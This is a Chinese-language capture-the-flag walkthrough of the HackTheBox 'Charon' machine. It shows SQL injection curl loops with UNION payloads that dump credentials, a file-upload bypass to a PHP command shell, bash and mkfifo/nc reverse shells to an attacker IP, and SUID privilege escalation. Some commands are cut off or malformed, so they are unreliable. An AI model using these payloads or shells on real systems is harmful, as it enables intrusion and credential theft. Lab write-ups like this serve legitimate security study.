HackTheBox-Linux-Charon-Walkthrough
**
靶机地址:https://www.hackthebox.eu/home/machines/profile/42
靶机难度:中级(3.5/10)
靶机发布日期:2017年10月7日
靶机描述:
Charon is definitely one of the more challenging machines on HackTheBox. It does not require any advanced techniques, however there are many subtle tricks needed at almost every step of exploitation.
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集:
1.端口扫描
nmap发现开放了OpenSSH和Apache服务。
访问80端口,发现是一个cms界面。
翻了一下,没有可用的地方。
2.目录扫描
使用gobuster进行目录扫描
gobuster
dir-u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
扫描发现存在cmsdata目录。
访问一下,发现是一个登录框,测试几个弱口令没成功。
发现有一个忘记密码功能。butp抓包测试sql注入。
二、漏洞利用
3.sql注入
输入'报错,然后输入"提提升找不到这个emali。证明存在sql注入。
使用limit进行判断字段。
1.脚本测试
使用脚本枚举出了可用的用户名。
for i in{1..1000};do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode"email=a@b.c' or 1=1 limit
代码语言:javascript复制for i in $(seq 0 300); do
payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done
2.手工union联合查询Bypass waf
经过测试,发现在查到第4位的时候会出现报错。
猜测可能存在waf拦截,然后经过测试,将UNION SELECT都使用大写进行
测试,可以成功测试注入。
使用脚本探测那一列是电子邮箱的地址。
for i in (seq 0 300); dopayload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET
发现到了第四列的时候,出现了有关邮箱的格式。
使用脚本枚举数据库。
代码语言:javascript复制for i in {0..100}; do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2
使用GROUP_CONCATSQL 函数,它将一整列合并为一个结果。
联合查询获取用户名和密码。
查找管理员用户名和密码。
4.md5解密
super_cms_adm:0b0689ba94f94533400f4decd87fa260,decoder:5f4dcc3b5aa765d61d8327deb8
5.文件上传
成功登录之后,发现存在一个上传地址。
对php格式的文件进行测试,发现不能成功上传。
测试.php.jpg格式的文件进行上传,可以上传不能解析。
服务器通常通过三种方式过滤文件类型:
- 文件扩展名
- 内容类型
- 魔术字节/MIME 类型
我已经用 提交了这个Content-Type: image/jpeg,所以它必须不止于此。该消息表明它正在限制扩展。如果我只是上传cmd.jpg而不更改名称,它仍然会报错。
6.文件上传bypass
发现返回包,存在一个字段类似于base64加密的。
使用echo进行base64解密。
然后修改name格式,进行上传。
不能成功上传。
然后先设置burp,接收响应包的内容。
1.修改前端代码绕过文件上传
将name修改为testfile1
然后输入cmd.php,重新上传.php.jpg格式的文件。成功上传。
2.命令执行
在上传之后可以利用cmd去执行一些命令。
三、权限提升
7.使用bash反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc进行监听
成功反弹shell。
翻文件,发现在home/decoder目录下存在2个密钥。
8.使用nc下载文件
9.密钥解密
使用RsaCtfTool进行暴力破解
安装步骤:
(sudo apt install libmpc-dev libgmp3-dev sagemath和pip3 install -r requirements.txt)
成功解密。
10.ssh远程登录
获取第一个flag(user.txt)。
11、使用find命令,查找可利用的suid文件
find / -perm-4000-ls 2>/dev/null
发现supershell可以利用。
利用supershell成功读到了root.txt,成功获得了第二个flag。
总结:
这个靶机难度是中等难度,但是给我带来了很多的知识点,也学到了很多。靶机的操作流程就是信息收集,从端口扫描到目录枚举,漏洞利用主要是sql注入,文件上传及手工union查询bypasswaf和文件上传的绕过。绕过之后进行反弹shell,反弹shell之后,翻文件,翻到了2个密钥,使用工具进行暴力破解,接着ssh远程登录,使用find命令查找可用的用法,然后使用其用法读到了root.txt文件的内容。靶机难度还是有的,也有很多新知识,建议有时间的小伙伴可以试试。